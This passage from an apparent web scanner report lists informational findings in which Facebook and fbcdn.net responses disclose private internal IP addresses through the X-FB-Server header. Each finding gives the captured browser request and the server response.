Date: Sat, 14 May 2011 10:09:20 GMT
Connection: close

.PNG
.
...IHDR...'.........b_Ci....PLTE...Oj.r..y..z...5nEa.z.....{..|........ay.......F_...................{..m........D^....@Z.B[....E^.C].......@Z.p..Le....p...........C].B\.............A[.......
...[SNIP]...

24.13. http://static.ak.fbcdn.net/rsrc.php/v1/ze/r/nZW4C56WJb6.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/ze/r/nZW4C56WJb6.png

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.30.148.192

Request

GET /rsrc.php/v1/ze/r/nZW4C56WJb6.png HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/widgets/recommendations.php?header=false&height=300&width=377&site=online.wsj.com&border_color=white
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 1249
Content-Type: image/png
Last-Modified: Mon, 15 Mar 2010 07:54:13 -0700
X-Powered-By: HPHP
X-FB-Server: 10.30.148.192
X-Cnection: close
Cache-Control: public, max-age=26369145
Expires: Wed, 14 Mar 2012 14:55:05 GMT
Date: Sat, 14 May 2011 10:09:20 GMT
Connection: close

.PNG
.
...IHDR...F...#........_....PLTE......---,,,.........///DDDddd***............)))...eee...999.........+++:::.........cccXXX......fffbbbEEE___......ggg222...(((...888000...111UUU...444......WWW
...[SNIP]...

24.14. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.237.69

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df300c7b91%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff322927c3%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df375d5f5ec%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff322927c3%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df5daedb4c%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dff04bdd2c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff322927c3%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df5daedb4c&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df34262cd9%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff322927c3%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df5daedb4c&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dfc0ebe75c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff322927c3%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df5daedb4c&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f34262cd9&origin=http%3A%2F%2Fonline.wsj.com%2Ff322927c3&relation=parent&transport=postmessage&frame=f5daedb4c
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.42.237.69
X-Cnection: close
Date: Sat, 14 May 2011 10:24:16 GMT
Content-Length: 0

24.15. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.115.39

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2490006c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff132faa68%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df19e108cfc%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff132faa68%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1ffc32d38%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df292eb6764%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff132faa68%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1ffc32d38&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1e1d7cba%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff132faa68%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1ffc32d38&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df253a67a94%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff132faa68%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1ffc32d38&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f1e1d7cba&origin=http%3A%2F%2Fonline.wsj.com%2Ff132faa68&relation=parent&transport=postmessage&frame=f1ffc32d38
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.43.115.39
X-Cnection: close
Date: Sat, 14 May 2011 10:29:07 GMT
Content-Length: 0

24.16. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.72.39

Request

GET /extern/login_status.php?api_key=283204329838&app_id=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2f2011d2%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffff1ed894%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2cd2cbf54%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffff1ed894%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df107bdc5fc%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df27c05b3a%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffff1ed894%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df107bdc5fc&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3b26aee34%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffff1ed894%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df107bdc5fc&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df136d2728%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffff1ed894%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df107bdc5fc&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f3b26aee34&origin=http%3A%2F%2Fwww.marketwatch.com%2Ffff1ed894&relation=parent&transport=postmessage&frame=f107bdc5fc
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.43.72.39
X-Cnection: close
Date: Sat, 14 May 2011 10:36:02 GMT
Content-Length: 0

24.17. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.162.103

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3aef8cd4c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff20f8a9138%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2fff2066c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff20f8a9138%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1be7ba2cc%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3c8cffa88%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff20f8a9138%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1be7ba2cc&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df11786a90c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff20f8a9138%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1be7ba2cc&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df307a57d88%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff20f8a9138%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1be7ba2cc&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f11786a90c&origin=http%3A%2F%2Fonline.wsj.com%2Ff20f8a9138&relation=parent&transport=postmessage&frame=f1be7ba2cc
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.36.162.103
X-Cnection: close
Date: Sat, 14 May 2011 10:18:24 GMT
Content-Length: 0

24.18. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.219.120

Request

GET /extern/login_status.php?api_key=283204329838&app_id=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3e533e594%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff24d582c5c%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3d0cd712c%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff24d582c5c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df13dd26a9c%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dfa6c7b578%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff24d582c5c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df13dd26a9c&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df359acb6f%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff24d582c5c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df13dd26a9c&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dfe59ee9ac%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff24d582c5c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df13dd26a9c&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f359acb6f&origin=http%3A%2F%2Fwww.marketwatch.com%2Ff24d582c5c&relation=parent&transport=postmessage&frame=f13dd26a9c
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.36.219.120
X-Cnection: close
Date: Sat, 14 May 2011 10:16:20 GMT
Content-Length: 0

24.19. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.89.81

Request

GET /extern/login_status.php?api_key=4d15f6008d23faa991f6df49d07988c6&extern=0&channel=http%3A%2F%2Fwww.siteadvisor.com%2Fdownload%2Fwindows.html%3Ffbc_channel%3D1&locale=en_US HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.siteadvisor.com/download/windows.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.43.89.81
X-Cnection: close
Date: Sat, 14 May 2011 12:54:25 GMT
Content-Length: 58

Given URL is not allowed by the Application configuration.

24.20. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.179.132

Request

GET /extern/login_status.php?api_key=1c9db4420d868d67eebd7afa7b14afe7&app_id=1c9db4420d868d67eebd7afa7b14afe7&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3b777befc%26origin%3Dhttp%253A%252F%252Fkara.allthingsd.com%252Ff3fc7e8c88%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2a4933ff%26origin%3Dhttp%253A%252F%252Fkara.allthingsd.com%252Ff3fc7e8c88%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df10da982c8%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df35990bbb8%26origin%3Dhttp%253A%252F%252Fkara.allthingsd.com%252Ff3fc7e8c88%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df10da982c8&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1542f949%26origin%3Dhttp%253A%252F%252Fkara.allthingsd.com%252Ff3fc7e8c88%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df10da982c8&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df229cf6ee4%26origin%3Dhttp%253A%252F%252Fkara.allthingsd.com%252Ff3fc7e8c88%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df10da982c8&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f1542f949&origin=http%3A%2F%2Fkara.allthingsd.com%2Ff3fc7e8c88&relation=parent&transport=postmessage&frame=f10da982c8
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.36.179.132
X-Cnection: close
Date: Sat, 14 May 2011 10:14:06 GMT
Content-Length: 0

24.21. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.113.73

Request

GET /extern/login_status.php?api_key=283204329838&app_id=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2593f06dc%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff36b01c5cc%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2a1433548%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff36b01c5cc%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1027b931c%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df370d0002%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff36b01c5cc%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1027b931c&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2d71deb48%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff36b01c5cc%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1027b931c&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3eb5b1e5%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff36b01c5cc%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1027b931c&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f2d71deb48&origin=http%3A%2F%2Fwww.marketwatch.com%2Ff36b01c5cc&relation=parent&transport=postmessage&frame=f1027b931c
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.42.113.73
X-Cnection: close
Date: Sat, 14 May 2011 10:36:26 GMT
Content-Length: 0

24.22. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.78.35

Request

GET /extern/login_status.php?api_key=283204329838&app_id=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df8a7bd4d%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffc5cdb83%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df22a270ac4%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffc5cdb83%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df16470d334%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1a187ed7%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffc5cdb83%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df16470d334&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df24837425%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffc5cdb83%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df16470d334&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1c8d968a4%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffc5cdb83%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df16470d334&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f24837425&origin=http%3A%2F%2Fwww.marketwatch.com%2Ffc5cdb83&relation=parent&transport=postmessage&frame=f16470d334
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.42.78.35
X-Cnection: close
Date: Sat, 14 May 2011 10:37:19 GMT
Content-Length: 0

24.23. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.171.132

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df22b757648%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ff34aa610c8%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df243c0fc88%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ff34aa610c8%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df39cfc4b08%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2feb03978%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ff34aa610c8%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df39cfc4b08&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df37ffa2364%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ff34aa610c8%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df39cfc4b08&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dfad3434e8%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ff34aa610c8%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df39cfc4b08&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://commerce.wsj.com/auth/login?mg=inert-wsj&mod=login_artpreview
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f37ffa2364&origin=http%3A%2F%2Fcommerce.wsj.com%2Ff34aa610c8&relation=parent&transport=postmessage&frame=f39cfc4b08
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.36.171.132
X-Cnection: close
Date: Sat, 14 May 2011 10:14:38 GMT
Content-Length: 0

24.24. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

